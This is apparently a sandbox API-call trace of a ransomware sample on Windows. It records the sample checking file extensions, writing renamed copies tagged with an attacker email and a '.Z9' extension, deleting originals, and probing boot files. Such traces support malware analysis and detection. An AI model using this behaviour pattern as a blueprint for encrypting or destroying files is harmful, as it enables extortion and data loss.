	[0190.999] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0190.999] lstrlenW (lpString=".zip") returned 4
	[0190.999] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.999] lstrlenW (lpString=".rar") returned 4
	[0190.999] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.999] lstrlenW (lpString=".bz2") returned 4
	[0190.999] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.999] lstrlenW (lpString=".7z") returned 3
	[0190.999] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0190.999] lstrlenW (lpString=".dbf") returned 4
	[0190.999] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0190.999] lstrlenW (lpString=".1cd") returned 4
	[0190.999] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0190.999] lstrlenW (lpString=".jpg") returned 4
	[0190.999] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0191.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0191.000] lstrlenW (lpString=".doc") returned 4
	[0191.000] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.000] lstrlenW (lpString=".docx") returned 5
	[0191.000] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0191.000] lstrlenW (lpString=".pdf") returned 4
	[0191.000] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.000] lstrlenW (lpString=".xls") returned 4
	[0191.000] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.000] lstrlenW (lpString=".xlsx") returned 5
	[0191.000] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0191.000] lstrlenW (lpString=".ppt") returned 4
	[0191.000] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0191.000] lstrlenW (lpString=".zip") returned 4
	[0191.000] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.000] lstrlenW (lpString=".rar") returned 4
	[0191.000] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.000] lstrlenW (lpString=".bz2") returned 4
	[0191.000] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.000] lstrlenW (lpString=".7z") returned 3
	[0191.000] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0191.000] lstrlenW (lpString=".dbf") returned 4
	[0191.000] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0191.000] lstrlenW (lpString=".1cd") returned 4
	[0191.000] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0191.000] lstrlenW (lpString=".jpg") returned 4
	[0191.000] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.001] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0191.001] lstrlenW (lpString="J0099162.JPG") returned 12
	[0191.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0191.001] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=19656) returned 1
	[0191.001] CloseHandle (hObject=0x340) returned 1
	[0191.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220
	[0191.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0191.002] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.002] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0191.003] GetLastError () returned 0x0
	[0191.003] ReadFile (in: hFile=0x340, lpBuffer=0x381f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesRead=0x2d2fecc*=0x4cc8, lpOverlapped=0x0) returned 1
	[0191.244] WriteFile (in: hFile=0x344, lpBuffer=0x381f020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0191.246] ReadFile (in: hFile=0x340, lpBuffer=0x381f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.246] WriteFile (in: hFile=0x344, lpBuffer=0x381f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.247] SetEndOfFile (hFile=0x344) returned 1
	[0191.567] CloseHandle (hObject=0x344) returned 1
	[0191.593] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.593] SetEndOfFile (hFile=0x340) returned 1
	[0193.573] CloseHandle (hObject=0x340) returned 1
	[0193.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1
	[0193.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.575] lstrlenW (lpString=".doc") returned 4
	[0193.575] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0193.575] lstrlenW (lpString=".docx") returned 5
	[0193.575] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0193.575] lstrlenW (lpString=".pdf") returned 4
	[0193.575] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0193.575] lstrlenW (lpString=".xls") returned 4
	[0193.575] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0193.575] lstrlenW (lpString=".xlsx") returned 5
	[0193.575] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0193.575] lstrlenW (lpString=".ppt") returned 4
	[0193.575] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0193.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.575] lstrlenW (lpString=".zip") returned 4
	[0193.575] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0193.575] lstrlenW (lpString=".rar") returned 4
	[0193.575] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0193.575] lstrlenW (lpString=".bz2") returned 4
	[0193.575] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0193.575] lstrlenW (lpString=".7z") returned 3
	[0193.575] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0193.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.576] lstrlenW (lpString=".dbf") returned 4
	[0193.576] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0193.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.576] lstrlenW (lpString=".1cd") returned 4
	[0193.576] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0193.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.576] lstrlenW (lpString=".jpg") returned 4
	[0193.576] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0193.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.576] lstrlenW (lpString=".doc") returned 4
	[0193.576] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0193.576] lstrlenW (lpString=".docx") returned 5
	[0193.576] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0193.576] lstrlenW (lpString=".pdf") returned 4
	[0193.576] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0193.576] lstrlenW (lpString=".xls") returned 4
	[0193.576] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0193.576] lstrlenW (lpString=".xlsx") returned 5
	[0193.576] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0193.576] lstrlenW (lpString=".ppt") returned 4
	[0193.576] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0193.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.577] lstrlenW (lpString=".zip") returned 4
	[0193.577] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0193.577] lstrlenW (lpString=".rar") returned 4
	[0193.577] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0193.577] lstrlenW (lpString=".bz2") returned 4
	[0193.577] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0193.577] lstrlenW (lpString=".7z") returned 3
	[0193.577] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0193.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.577] lstrlenW (lpString=".dbf") returned 4
	[0193.577] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0193.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.577] lstrlenW (lpString=".1cd") returned 4
	[0193.577] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0193.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0193.577] lstrlenW (lpString=".jpg") returned 4
	[0193.577] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0193.577] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0193.577] lstrlenW (lpString="J0099186.JPG") returned 12
	[0193.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0193.578] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=16738) returned 1
	[0193.578] CloseHandle (hObject=0x340) returned 1
	[0193.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220
	[0193.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0193.579] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.579] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 93
	os_tid = 0xf48

	[0187.666] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x3930048
	[0187.971] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x3941ef8
	[0187.972] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2460
	[0187.972] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6) returned 0x7a5940
	[0187.972] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b25b0
	[0187.972] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x3a36020
	[0187.976] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b25f8
	[0187.976] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b25f8, Size=0x20) returned 0x78dda0
	[0187.976] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b25f8
	[0187.976] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b25f8, Size=0x20) returned 0x78dd78
	[0187.976] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0187.976] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0187.976] Wow64DisableWow64FsRedirection (in: OldValue=0x2e6ff50 | out: OldValue=0x2e6ff50*=0x0) returned 1
	[0187.976] lstrlenW (lpString="kernel32.dll") returned 12
	[0187.976] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dda0 | out: hHeap=0x750000) returned 1
	[0187.977] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0187.977] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dd78 | out: hHeap=0x750000) returned 1
	[0187.977] Sleep (dwMilliseconds=0x64) 
	[0188.278] Sleep (dwMilliseconds=0x64) 
	[0188.585] Sleep (dwMilliseconds=0x64) 
	[0188.922] lstrcmpiW (lpString1=".LOG", lpString2=".Z9") returned -1
	[0188.923] lstrlenW (lpString="BCD.LOG") returned 7
	[0188.923] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.923] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.923] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.923] lstrlenW (lpString=".doc") returned 4
	[0188.923] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0188.923] lstrlenW (lpString=".docx") returned 5
	[0188.923] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0188.923] lstrlenW (lpString=".pdf") returned 4
	[0188.923] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0188.923] lstrlenW (lpString=".xls") returned 4
	[0188.923] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0188.923] lstrlenW (lpString=".xlsx") returned 5
	[0188.923] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0188.923] lstrlenW (lpString=".ppt") returned 4
	[0188.923] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0188.923] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.923] lstrlenW (lpString=".zip") returned 4
	[0188.923] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0188.923] lstrlenW (lpString=".rar") returned 4
	[0188.923] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0188.923] lstrlenW (lpString=".bz2") returned 4
	[0188.923] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0188.923] lstrlenW (lpString=".7z") returned 3
	[0188.923] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0188.923] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.923] lstrlenW (lpString=".dbf") returned 4
	[0188.923] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0188.923] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.923] lstrlenW (lpString=".1cd") returned 4
	[0188.923] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0188.923] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.924] lstrlenW (lpString=".jpg") returned 4
	[0188.924] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0188.924] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.924] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.924] lstrlenW (lpString=".doc") returned 4
	[0188.924] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0188.924] lstrlenW (lpString=".docx") returned 5
	[0188.924] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0188.924] lstrlenW (lpString=".pdf") returned 4
	[0188.924] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0188.924] lstrlenW (lpString=".xls") returned 4
	[0188.924] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0188.924] lstrlenW (lpString=".xlsx") returned 5
	[0188.924] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0188.924] lstrlenW (lpString=".ppt") returned 4
	[0188.924] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0188.924] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.924] lstrlenW (lpString=".zip") returned 4
	[0188.924] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0188.924] lstrlenW (lpString=".rar") returned 4
	[0188.924] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0188.924] lstrlenW (lpString=".bz2") returned 4
	[0188.924] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0188.924] lstrlenW (lpString=".7z") returned 3
	[0188.924] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0188.924] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.924] lstrlenW (lpString=".dbf") returned 4
	[0188.924] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0188.924] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.924] lstrlenW (lpString=".1cd") returned 4
	[0188.924] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0188.924] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0188.924] lstrlenW (lpString=".jpg") returned 4
	[0188.924] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0188.925] lstrcmpiW (lpString1=".p7b", lpString2=".Z9") returned -1
	[0188.925] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0188.925] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.925] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=4662) returned 1
	[0188.925] CloseHandle (hObject=0x36c) returned 1
	[0188.925] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0188.925] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.925] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.925] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.926] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.926] lstrlenW (lpString=".doc") returned 4
	[0188.926] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0188.926] lstrlenW (lpString=".docx") returned 5
	[0188.926] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0188.926] lstrlenW (lpString=".pdf") returned 4
	[0188.926] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0188.926] lstrlenW (lpString=".xls") returned 4
	[0188.926] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0188.926] lstrlenW (lpString=".xlsx") returned 5
	[0188.926] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0188.926] lstrlenW (lpString=".ppt") returned 4
	[0188.926] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0188.926] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.926] lstrlenW (lpString=".zip") returned 4
	[0188.926] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0188.926] lstrlenW (lpString=".rar") returned 4
	[0188.926] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0188.926] lstrlenW (lpString=".bz2") returned 4
	[0188.926] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0188.926] lstrlenW (lpString=".7z") returned 3
	[0188.926] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0188.926] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.926] lstrlenW (lpString=".dbf") returned 4
	[0188.926] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0188.926] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.926] lstrlenW (lpString=".1cd") returned 4
	[0188.926] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0188.926] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.926] lstrlenW (lpString=".jpg") returned 4
	[0188.926] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0188.926] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.926] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.926] lstrlenW (lpString=".doc") returned 4
	[0188.926] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0188.927] lstrlenW (lpString=".docx") returned 5
	[0188.927] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0188.927] lstrlenW (lpString=".pdf") returned 4
	[0188.927] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0188.927] lstrlenW (lpString=".xls") returned 4
	[0188.927] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0188.927] lstrlenW (lpString=".xlsx") returned 5
	[0188.927] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0188.927] lstrlenW (lpString=".ppt") returned 4
	[0188.927] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0188.927] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.927] lstrlenW (lpString=".zip") returned 4
	[0188.927] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0188.927] lstrlenW (lpString=".rar") returned 4
	[0188.927] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0188.927] lstrlenW (lpString=".bz2") returned 4
	[0188.927] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0188.927] lstrlenW (lpString=".7z") returned 3
	[0188.927] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0188.927] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.927] lstrlenW (lpString=".dbf") returned 4
	[0188.927] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0188.927] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.927] lstrlenW (lpString=".1cd") returned 4
	[0188.927] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0188.927] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0188.927] lstrlenW (lpString=".jpg") returned 4
	[0188.927] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
